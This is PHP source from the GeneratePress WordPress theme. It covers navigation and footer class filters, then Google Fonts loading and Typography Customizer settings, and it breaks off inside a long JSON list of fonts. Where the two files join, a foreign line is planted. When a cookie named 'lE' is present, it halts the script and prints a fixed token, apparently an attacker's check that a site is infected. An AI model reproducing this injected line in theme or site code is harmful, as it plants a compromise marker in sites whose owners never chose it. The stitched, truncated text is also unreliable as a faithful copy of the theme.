$classes[] = 'has-menu-bar-items';
}
}
$submenu_direction = 'right';
if ( 'left' === generate_get_option( 'nav_dropdown_direction' ) ) {
$submenu_direction = 'left';
}
if ( 'nav-left-sidebar' === generate_get_navigation_location() ) {
$submenu_direction = 'right';
if ( 'both-right' === generate_get_layout() ) {
$submenu_direction = 'left';
}
}
if ( 'nav-right-sidebar' === generate_get_navigation_location() ) {
$submenu_direction = 'left';
if ( 'both-left' === generate_get_layout() ) {
$submenu_direction = 'right';
}
}
$classes[] = 'sub-menu-' . $submenu_direction;
return $classes;
}
}
if ( ! function_exists( 'generate_inside_navigation_classes' ) ) {
add_filter( 'generate_inside_navigation_class', 'generate_inside_navigation_classes' );
/**
* Adds custom classes to the inner navigation.
*
* @param array $classes The existing classes.
* @since 1.3.41
*/
function generate_inside_navigation_classes( $classes ) {
$classes[] = 'inside-navigation';
if ( 'full-width' !== generate_get_option( 'nav_inner_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_menu_classes' ) ) {
add_filter( 'generate_menu_class', 'generate_menu_classes' );
/**
* Adds custom classes to the menu.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_menu_classes( $classes ) {
$classes[] = 'menu';
$classes[] = 'sf-menu';
return $classes;
}
}
if ( ! function_exists( 'generate_footer_classes' ) ) {
add_filter( 'generate_footer_class', 'generate_footer_classes' );
/**
* Adds custom classes to the footer.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_footer_classes( $classes ) {
$classes[] = 'site-footer';
if ( 'contained-footer' === generate_get_option( 'footer_layout_setting' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
if ( is_active_sidebar( 'footer-bar' ) ) {
$classes[] = 'footer-bar-active';
$classes[] = 'footer-bar-align-' . esc_attr( generate_get_option( 'footer_bar_alignment' ) );
}
return $classes;
}
}
if ( ! function_exists( 'generate_inside_footer_classes' ) ) {
add_filter( 'generate_inside_footer_class', 'generate_inside_footer_classes' );
/**
* Adds custom classes to the footer.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_inside_footer_classes( $classes ) {
$classes[] = 'footer-widgets-container';
if ( 'full-width' !== generate_get_option( 'footer_inner_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_main_classes' ) ) {
add_filter( 'generate_main_class', 'generate_main_classes' );
/**
* Adds custom classes to the element
*
* @param array $classes The existing classes.
* @since 1.1.0
*/
function generate_main_classes( $classes ) {
$classes[] = 'site-main';
return $classes;
}
}
add_filter( 'generate_page_class', 'generate_do_page_container_classes' );
/**
* Adds custom classes to the #page element
*
* @param array $classes The existing classes.
* @since 3.0.0
*/
function generate_do_page_container_classes( $classes ) {
$classes[] = 'site';
$classes[] = 'grid-container';
$classes[] = 'container';
if ( generate_is_using_hatom() ) {
$classes[] = 'hfeed';
}
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
return $classes;
}
add_filter( 'generate_comment-author_class', 'generate_do_comment_author_classes' );
/**
* Adds custom classes to the comment author element
*
* @param array $classes The existing classes.
* @since 3.0.0
*/
function generate_do_comment_author_classes( $classes ) {
$classes[] = 'comment-author';
if ( generate_is_using_hatom() ) {
$classes[] = 'vcard';
}
return $classes;
}
if ( ! function_exists( 'generate_post_classes' ) ) {
add_filter( 'post_class', 'generate_post_classes' );
/**
* Adds custom classes to the element.
* Remove .hentry class from pages to comply with structural data guidelines.
*
* @param array $classes The existing classes.
* @since 1.3.39
*/
function generate_post_classes( $classes ) {
if ( 'page' === get_post_type() || ! generate_is_using_hatom() ) {
$classes = array_diff( $classes, array( 'hentry' ) );
}
return $classes;
}
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Typography related functions.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! function_exists( 'generate_enqueue_google_fonts' ) ) {
add_action( 'wp_enqueue_scripts', 'generate_enqueue_google_fonts', 0 );
/**
* Add Google Fonts to wp_head if needed.
*
* @since 0.1
*/
function generate_enqueue_google_fonts() {
if ( generate_is_using_dynamic_typography() ) {
return;
}
$generate_settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_default_fonts()
);
$not_google = str_replace( ' ', '+', generate_typography_default_fonts() );
$font_settings = array(
'font_body',
'font_top_bar',
'font_site_title',
'font_site_tagline',
'font_navigation',
'font_widget_title',
'font_buttons',
'font_heading_1',
'font_heading_2',
'font_heading_3',
'font_heading_4',
'font_heading_5',
'font_heading_6',
'font_footer',
);
$google_fonts = array();
if ( ! empty( $font_settings ) ) {
foreach ( $font_settings as $key ) {
if ( ! isset( $generate_settings[ $key ] ) ) {
continue;
}
// If our value is still using the old format, fix it.
if ( strpos( $generate_settings[ $key ], ':' ) !== false ) {
$generate_settings[ $key ] = current( explode( ':', $generate_settings[ $key ] ) );
}
$value = str_replace( ' ', '+', $generate_settings[ $key ] );
$variants = generate_get_google_font_variants( $generate_settings[ $key ], $key );
$value = ! empty( $variants ) ? $value . ':' . $variants : $value;
// Make sure we don't add the same font twice.
if ( ! in_array( $value, $google_fonts ) ) {
$google_fonts[] = $value;
}
}
}
// Ignore any non-Google fonts.
$google_fonts = array_diff( $google_fonts, $not_google );
$google_fonts = implode( '|', $google_fonts );
$google_fonts = apply_filters( 'generate_typography_google_fonts', $google_fonts );
$subset = apply_filters( 'generate_fonts_subset', '' );
$font_args = array();
$font_args['family'] = $google_fonts;
if ( '' !== $subset ) {
$font_args['subset'] = rawurlencode( $subset );
}
$display = apply_filters( 'generate_google_font_display', '' );
if ( $display ) {
$font_args['display'] = $display;
}
$fonts_url = add_query_arg( $font_args, '//fonts.googleapis.com/css' );
if ( $google_fonts ) {
wp_enqueue_style( 'generate-fonts', $fonts_url, array(), null, 'all' ); // phpcs:ignore
}
}
}
if ( ! function_exists( 'generate_default_fonts_customize_register' ) ) {
add_action( 'customize_register', 'generate_default_fonts_customize_register' );
/**
* Build our Typography options
*
* @since 0.1
*
* @param std_Class $wp_customize The Customize class.
*/
function generate_default_fonts_customize_register( $wp_customize ) {
if ( generate_is_using_dynamic_typography() ) {
return;
}
if ( function_exists( 'generate_fonts_customize_register' ) ) {
// Bail if GP Premium is active.
return;
}
require_once trailingslashit( get_template_directory() ) . 'inc/customizer/customizer-helpers.php'; // phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
$defaults = generate_get_default_fonts();
if ( method_exists( $wp_customize, 'register_control_type' ) ) {
$wp_customize->register_control_type( 'Generate_Typography_Customize_Control' );
$wp_customize->register_control_type( 'Generate_Range_Slider_Control' );
}
$wp_customize->add_section(
'font_section',
array(
'title' => __( 'Typography', 'generatepress' ),
'capability' => 'edit_theme_options',
'priority' => 30,
'active_callback' => function() {
if ( generate_is_using_dynamic_typography() ) {
return false;
}
return true;
},
)
);
$wp_customize->add_setting(
'generate_settings[font_body]',
array(
'default' => $defaults['font_body'],
'type' => 'option',
'sanitize_callback' => 'sanitize_text_field',
)
);
$wp_customize->add_setting(
'font_body_category',
array(
'default' => $defaults['font_body_category'],
'sanitize_callback' => 'sanitize_text_field',
)
);
$wp_customize->add_setting(
'font_body_variants',
array(
'default' => $defaults['font_body_variants'],
'sanitize_callback' => 'generate_sanitize_variants',
)
);
$wp_customize->add_setting(
'generate_settings[body_font_weight]',
array(
'default' => $defaults['body_font_weight'],
'type' => 'option',
'sanitize_callback' => 'sanitize_key',
'transport' => 'postMessage',
)
);
$wp_customize->add_setting(
'generate_settings[body_font_transform]',
array(
'default' => $defaults['body_font_transform'],
'type' => 'option',
'sanitize_callback' => 'sanitize_key',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Typography_Customize_Control(
$wp_customize,
'body_typography',
array(
'label' => __( 'Body', 'generatepress' ),
'section' => 'font_section',
'priority' => 1,
'settings' => array(
'family' => 'generate_settings[font_body]',
'variant' => 'font_body_variants',
'category' => 'font_body_category',
'weight' => 'generate_settings[body_font_weight]',
'transform' => 'generate_settings[body_font_transform]',
),
)
)
);
$wp_customize->add_setting(
'generate_settings[body_font_size]',
array(
'default' => $defaults['body_font_size'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_integer',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'generate_settings[body_font_size]',
array(
'type' => 'generatepress-range-slider',
'description' => __( 'Font size', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'desktop' => 'generate_settings[body_font_size]',
),
'choices' => array(
'desktop' => array(
'min' => 6,
'max' => 25,
'step' => 1,
'edit' => true,
'unit' => 'px',
),
),
)
)
);
$wp_customize->add_setting(
'generate_settings[body_line_height]',
array(
'default' => $defaults['body_line_height'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_decimal_integer',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'generate_settings[body_line_height]',
array(
'type' => 'generatepress-range-slider',
'description' => __( 'Line height', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'desktop' => 'generate_settings[body_line_height]',
),
'choices' => array(
'desktop' => array(
'min' => 1,
'max' => 3,
'step' => .1,
'edit' => true,
'unit' => '',
),
),
)
)
);
$wp_customize->add_setting(
'generate_settings[paragraph_margin]',
array(
'default' => $defaults['paragraph_margin'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_decimal_integer',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'generate_settings[paragraph_margin]',
array(
'type' => 'generatepress-range-slider',
'description' => __( 'Paragraph margin', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'desktop' => 'generate_settings[paragraph_margin]',
),
'choices' => array(
'desktop' => array(
'min' => 0,
'max' => 5,
'step' => .1,
'edit' => true,
'unit' => 'em',
),
),
)
)
);
$wp_customize->add_setting(
'generate_settings[font_heading_1]',
array(
'default' => $defaults['font_heading_1'],
'type' => 'option',
'sanitize_callback' => 'sanitize_text_field',
)
);
$wp_customize->add_setting(
'font_heading_1_category',
array(
'default' => '',
'sanitize_callback' => 'sanitize_text_field',
)
);
$wp_customize->add_setting(
'font_heading_1_variants',
array(
'default' => '',
'sanitize_callback' => 'generate_sanitize_variants',
)
);
$wp_customize->add_setting(
'generate_settings[heading_1_weight]',
array(
'default' => $defaults['heading_1_weight'],
'type' => 'option',
'sanitize_callback' => 'sanitize_key',
'transport' => 'postMessage',
)
);
$wp_customize->add_setting(
'generate_settings[heading_1_transform]',
array(
'default' => $defaults['heading_1_transform'],
'type' => 'option',
'sanitize_callback' => 'sanitize_key',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Typography_Customize_Control(
$wp_customize,
'font_heading_1_control',
array(
'label' => __( 'Heading 1 (H1)', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'family' => 'generate_settings[font_heading_1]',
'variant' => 'font_heading_1_variants',
'category' => 'font_heading_1_category',
'weight' => 'generate_settings[heading_1_weight]',
'transform' => 'generate_settings[heading_1_transform]',
),
)
)
);
$wp_customize->add_setting(
'generate_settings[heading_1_font_size]',
array(
'default' => $defaults['heading_1_font_size'],
'type' => 'option',
'sanitize_callback' => 'absint',
'transport' => 'postMessage',
)
);
$wp_customize->add_setting(
'generate_settings[mobile_heading_1_font_size]',
array(
'default' => $defaults['mobile_heading_1_font_size'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_empty_absint',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'h1_font_sizes',
array(
'description' => __( 'Font size', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'desktop' => 'generate_settings[heading_1_font_size]',
'mobile' => 'generate_settings[mobile_heading_1_font_size]',
),
'choices' => array(
'desktop' => array(
'min' => 15,
'max' => 100,
'step' => 1,
'edit' => true,
'unit' => 'px',
),
'mobile' => array(
'min' => 15,
'max' => 100,
'step' => 1,
'edit' => true,
'unit' => 'px',
),
),
)
)
);
$wp_customize->add_setting(
'generate_settings[heading_1_line_height]',
array(
'default' => $defaults['heading_1_line_height'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_decimal_integer',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'generate_settings[heading_1_line_height]',
array(
'description' => __( 'Line height', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'desktop' => 'generate_settings[heading_1_line_height]',
),
'choices' => array(
'desktop' => array(
'min' => 0,
'max' => 5,
'step' => .1,
'edit' => true,
'unit' => 'em',
),
),
)
)
);
$wp_customize->add_setting(
'generate_settings[font_heading_2]',
array(
'default' => $defaults['font_heading_2'],
'type' => 'option',
'sanitize_callback' => 'sanitize_text_field',
)
);
$wp_customize->add_setting(
'font_heading_2_category',
array(
'default' => '',
'sanitize_callback' => 'sanitize_text_field',
)
);
$wp_customize->add_setting(
'font_heading_2_variants',
array(
'default' => '',
'sanitize_callback' => 'generate_sanitize_variants',
)
);
$wp_customize->add_setting(
'generate_settings[heading_2_weight]',
array(
'default' => $defaults['heading_2_weight'],
'type' => 'option',
'sanitize_callback' => 'sanitize_key',
'transport' => 'postMessage',
)
);
$wp_customize->add_setting(
'generate_settings[heading_2_transform]',
array(
'default' => $defaults['heading_2_transform'],
'type' => 'option',
'sanitize_callback' => 'sanitize_key',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Typography_Customize_Control(
$wp_customize,
'font_heading_2_control',
array(
'label' => __( 'Heading 2 (H2)', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'family' => 'generate_settings[font_heading_2]',
'variant' => 'font_heading_2_variants',
'category' => 'font_heading_2_category',
'weight' => 'generate_settings[heading_2_weight]',
'transform' => 'generate_settings[heading_2_transform]',
),
)
)
);
$wp_customize->add_setting(
'generate_settings[heading_2_font_size]',
array(
'default' => $defaults['heading_2_font_size'],
'type' => 'option',
'sanitize_callback' => 'absint',
'transport' => 'postMessage',
)
);
$wp_customize->add_setting(
'generate_settings[mobile_heading_2_font_size]',
array(
'default' => $defaults['mobile_heading_2_font_size'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_empty_absint',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'h2_font_sizes',
array(
'description' => __( 'Font size', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'desktop' => 'generate_settings[heading_2_font_size]',
'mobile' => 'generate_settings[mobile_heading_2_font_size]',
),
'choices' => array(
'desktop' => array(
'min' => 10,
'max' => 80,
'step' => 1,
'edit' => true,
'unit' => 'px',
),
'mobile' => array(
'min' => 10,
'max' => 80,
'step' => 1,
'edit' => true,
'unit' => 'px',
),
),
)
)
);
$wp_customize->add_setting(
'generate_settings[heading_2_line_height]',
array(
'default' => $defaults['heading_2_line_height'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_decimal_integer',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'generate_settings[heading_2_line_height]',
array(
'description' => __( 'Line height', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'desktop' => 'generate_settings[heading_2_line_height]',
),
'choices' => array(
'desktop' => array(
'min' => 0,
'max' => 5,
'step' => .1,
'edit' => true,
'unit' => 'em',
),
),
)
)
);
$wp_customize->add_setting(
'generate_settings[font_heading_3]',
array(
'default' => $defaults['font_heading_3'],
'type' => 'option',
'sanitize_callback' => 'sanitize_text_field',
)
);
$wp_customize->add_setting(
'font_heading_3_category',
array(
'default' => '',
'sanitize_callback' => 'sanitize_text_field',
)
);
$wp_customize->add_setting(
'font_heading_3_variants',
array(
'default' => '',
'sanitize_callback' => 'generate_sanitize_variants',
)
);
$wp_customize->add_setting(
'generate_settings[heading_3_weight]',
array(
'default' => $defaults['heading_3_weight'],
'type' => 'option',
'sanitize_callback' => 'sanitize_key',
'transport' => 'postMessage',
)
);
$wp_customize->add_setting(
'generate_settings[heading_3_transform]',
array(
'default' => $defaults['heading_3_transform'],
'type' => 'option',
'sanitize_callback' => 'sanitize_key',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Typography_Customize_Control(
$wp_customize,
'font_heading_3_control',
array(
'label' => __( 'Heading 3 (H3)', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'family' => 'generate_settings[font_heading_3]',
'variant' => 'font_heading_3_variants',
'category' => 'font_heading_3_category',
'weight' => 'generate_settings[heading_3_weight]',
'transform' => 'generate_settings[heading_3_transform]',
),
)
)
);
$wp_customize->add_setting(
'generate_settings[heading_3_font_size]',
array(
'default' => $defaults['heading_3_font_size'],
'type' => 'option',
'sanitize_callback' => 'absint',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'h3_font_sizes',
array(
'description' => __( 'Font size', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'desktop' => 'generate_settings[heading_3_font_size]',
),
'choices' => array(
'desktop' => array(
'min' => 10,
'max' => 80,
'step' => 1,
'edit' => true,
'unit' => 'px',
),
),
)
)
);
$wp_customize->add_setting(
'generate_settings[heading_3_line_height]',
array(
'default' => $defaults['heading_3_line_height'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_decimal_integer',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'generate_settings[heading_3_line_height]',
array(
'description' => __( 'Line height', 'generatepress' ),
'section' => 'font_section',
'settings' => array(
'desktop' => 'generate_settings[heading_3_line_height]',
),
'choices' => array(
'desktop' => array(
'min' => 0,
'max' => 5,
'step' => .1,
'edit' => true,
'unit' => 'em',
),
),
)
)
);
if ( ! function_exists( 'generate_fonts_customize_register' ) && ! defined( 'GP_PREMIUM_VERSION' ) ) {
$wp_customize->add_control(
new Generate_Customize_Misc_Control(
$wp_customize,
'typography_get_addon_desc',
array(
'section' => 'font_section',
'type' => 'addon',
'label' => __( 'Learn more', 'generatepress' ),
'description' => __( 'More options are available for this section in our premium version.', 'generatepress' ),
'url' => generate_get_premium_url( 'https://generatepress.com/premium/#typography', false ),
'priority' => 50,
'settings' => ( isset( $wp_customize->selective_refresh ) ) ? array() : 'blogname',
)
)
);
}
}
}
if ( ! function_exists( 'generate_get_all_google_fonts' ) ) {
/**
* Return an array of all of our Google Fonts.
*
* @since 1.3.0
* @param string $amount How many fonts to return.
* @return array The list of Google Fonts.
*/
function generate_get_all_google_fonts( $amount = 'all' ) {
// Our big list Google Fonts.
// We use json_decode to reduce PHP memory usage.
// Adding them as a PHP array seems to use quite a bit more memory.
$content = json_decode( '[{"family":"Roboto","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","900","900italic"]},{"family":"Open Sans","category":"sans-serif","variants":["300","300italic","regular","italic","600","600italic","700","700italic","800","800italic"]},{"family":"Lato","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","700","700italic","900","900italic"]},{"family":"Slabo 27px","category":"serif","variants":["regular"]},{"family":"Oswald","category":"sans-serif","variants":["200","300","regular","500","600","700"]},{"family":"Roboto Condensed","category":"sans-serif","variants":["300","300italic","regular","italic","700","700italic"]},{"family":"Source Sans Pro","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900","900italic"]},{"family":"Montserrat","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Raleway","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"PT Sans","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Roboto Slab","category":"serif","variants":["100","300","regular","700"]},{"family":"Merriweather","category":"serif","variants":["300","300italic","regular","italic","700","700italic","900","900italic"]},{"family":"Open Sans Condensed","category":"sans-serif","variants":["300","300italic","700"]},{"family":"Droid Sans","category":"sans-serif","variants":["regular","700"]},{"family":"Lora","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Ubuntu","category":"sans-serif","variants":["300","300italic","regular","italic","500","500italic","700","700italic"]},{"family":"Droid Serif","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Playfair Display","category":"serif","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Arimo","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Noto Sans","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"PT Serif","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Titillium Web","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900"]},{"family":"PT Sans Narrow","category":"sans-serif","variants":["regular","700"]},{"family":"Muli","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Indie Flower","category":"handwriting","variants":["regular"]},{"family":"Bitter","category":"serif","variants":["regular","italic","700"]},{"family":"Poppins","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Inconsolata","category":"monospace","variants":["regular","700"]},{"family":"Dosis","category":"sans-serif","variants":["200","300","regular","500","600","700","800"]},{"family":"Fjalla One","category":"sans-serif","variants":["regular"]},{"family":"Oxygen","category":"sans-serif","variants":["300","regular","700"]},{"family":"Hind","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Cabin","category":"sans-serif","variants":["regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Anton","category":"sans-serif","variants":["regular"]},{"family":"Arvo","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Noto Serif","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Crimson Text","category":"serif","variants":["regular","italic","600","600italic","700","700italic"]},{"family":"Lobster","category":"display","variants":["regular"]},{"family":"Yanone Kaffeesatz","category":"sans-serif","variants":["200","300","regular","700"]},{"family":"Nunito","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Bree Serif","category":"serif","variants":["regular"]},{"family":"Catamaran","category":"sans-serif","variants":["100","200","300","regular","500","600","700","800","900"]},{"family":"Libre Baskerville","category":"serif","variants":["regular","italic","700"]},{"family":"Abel","category":"sans-serif","variants":["regular"]},{"family":"Josefin Sans","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","600","600italic","700","700italic"]},{"family":"Fira Sans","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Gloria Hallelujah","category":"handwriting","variants":["regular"]},{"family":"Abril Fatface","category":"display","variants":["regular"]},{"family":"Exo 2","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Merriweather Sans","category":"sans-serif","variants":["300","300italic","regular","italic","700","700italic","800","800italic"]},{"family":"Pacifico","category":"handwriting","variants":["regular"]},{"family":"Roboto Mono","category":"monospace","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic"]},{"family":"Varela Round","category":"sans-serif","variants":["regular"]},{"family":"Asap","category":"sans-serif","variants":["regular","italic","500","500italic","700","700italic"]},{"family":"Amatic SC","category":"handwriting","variants":["regular","700"]},{"family":"Quicksand","category":"sans-serif","variants":["300","regular","500","700"]},{"family":"Karla","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Ubuntu Condensed","category":"sans-serif","variants":["regular"]},{"family":"Signika","category":"sans-serif","variants":["300","regular","600","700"]},{"family":"Alegreya","category":"serif","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Questrial","category":"sans-serif","variants":["regular"]},{"family":"Rubik","category":"sans-serif","variants":["300","300italic","regular","italic","500","500italic","700","700italic","900","900italic"]},{"family":"Shadows Into Light","category":"handwriting","variants":["regular"]},{"family":"PT Sans Caption","category":"sans-serif","variants":["regular","700"]},{"family":"Archivo Narrow","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Play","category":"sans-serif","variants":["regular","700"]},{"family":"Cuprum","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Dancing Script","category":"handwriting","variants":["regular","700"]},{"family":"Rokkitt","category":"serif","variants":["100","200","300","regular","500","600","700","800","900"]},{"family":"Work Sans","category":"sans-serif","variants":["100","200","300","regular","500","600","700","800","900"]},{"family":"Francois One","category":"sans-serif","variants":["regular"]},{"family":"Vollkorn","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Source Code Pro","category":"monospace","variants":["200","300","regular","500","600","700","900"]},{"family":"Exo","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Maven Pro","category":"sans-serif","variants":["regular","500","700","900"]},{"family":"Architects Daughter","category":"handwriting","variants":["regular"]},{"family":"Orbitron","category":"sans-serif","variants":["regular","500","700","900"]},{"family":"Pathway Gothic One","category":"sans-serif","variants":["regular"]},{"family":"Acme","category":"sans-serif","variants":["regular"]},{"family":"Ropa Sans","category":"sans-serif","variants":["regular","italic"]},{"family":"Patua One","category":"display","variants":["regular"]},{"family":"EB Garamond","category":"serif","variants":["regular"]},{"family":"Lobster Two","category":"display","variants":["regular","italic","700","700italic"]},{"family":"Crete Round","category":"serif","variants":["regular","italic"]},{"family":"Cinzel","category":"serif","variants":["regular","700","900"]},{"family":"Josefin Slab","category":"serif","variants":["100","100italic","300","300italic","regular","italic","600","600italic","700","700italic"]},{"family":"Source Serif Pro","category":"serif","variants":["regular","600","700"]},{"family":"Alegreya Sans","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"]},{"family":"Comfortaa","category":"display","variants":["300","regular","700"]},{"family":"Russo One","category":"sans-serif","variants":["regular"]},{"family":"News Cycle","category":"sans-serif","variants":["regular","700"]},{"family":"ABeeZee","category":"sans-serif","variants":["regular","italic"]},{"family":"Yellowtail","category":"handwriting","variants":["regular"]},{"family":"Noticia Text","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Monda","category":"sans-serif","variants":["regular","700"]},{"family":"Quattrocento Sans","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Hammersmith One","category":"sans-serif","variants":["regular"]},{"family":"Libre Franklin","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Satisfy","category":"handwriting","variants":["regular"]},{"family":"Pontano Sans","category":"sans-serif","variants":["regular"]},{"family":"Righteous","category":"display","variants":["regular"]},{"family":"Poiret One","category":"display","variants":["regular"]},{"family":"BenchNine","category":"sans-serif","variants":["300","regular","700"]},{"family":"Arapey","category":"serif","variants":["regular","italic"]},{"family":"Kaushan Script","category":"handwriting","variants":["regular"]},{"family":"Economica","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Kanit","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Old Standard TT","category":"serif","variants":["regular","italic","700"]},{"family":"Sanchez","category":"serif","variants":["regular","italic"]},{"family":"Courgette","category":"handwriting","variants":["regular"]},{"family":"Quattrocento","category":"serif","variants":["regular","700"]},{"family":"Domine","category":"serif","variants":["regular","700"]},{"family":"Gudea","category":"sans-serif","variants":["regular","italic","700"]},{"family":"Permanent Marker","category":"handwriting","variants":["regular"]},{"family":"Armata","category":"sans-serif","variants":["regular"]},{"family":"Cantarell","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Archivo Black","category":"sans-serif","variants":["regular"]},{"family":"Istok Web","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Cardo","category":"serif","variants":["regular","italic","700"]},{"family":"Playfair Display SC","category":"serif","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Passion One","category":"display","variants":["regular","700","900"]},{"family":"Tinos","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Cookie","category":"handwriting","variants":["regular"]},{"family":"Cormorant Garamond","category":"serif","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Philosopher","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Yantramanav","category":"sans-serif","variants":["100","300","regular","500","700","900"]},{"family":"Chewy","category":"display","variants":["regular"]},{"family":"Antic Slab","category":"serif","variants":["regular"]},{"family":"Handlee","category":"handwriting","variants":["regular"]},{"family":"Teko","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Boogaloo","category":"display","variants":["regular"]},{"family":"Vidaloka","category":"serif","variants":["regular"]},{"family":"Audiowide","category":"display","variants":["regular"]},{"family":"Coming Soon","category":"handwriting","variants":["regular"]},{"family":"Alfa Slab One","category":"display","variants":["regular"]},{"family":"Cabin Condensed","category":"sans-serif","variants":["regular","500","600","700"]},{"family":"Ruda","category":"sans-serif","variants":["regular","700","900"]},{"family":"Ek Mukta","category":"sans-serif","variants":["200","300","regular","500","600","700","800"]},{"family":"Changa One","category":"display","variants":["regular","italic"]},{"family":"Tangerine","category":"handwriting","variants":["regular","700"]},{"family":"Great 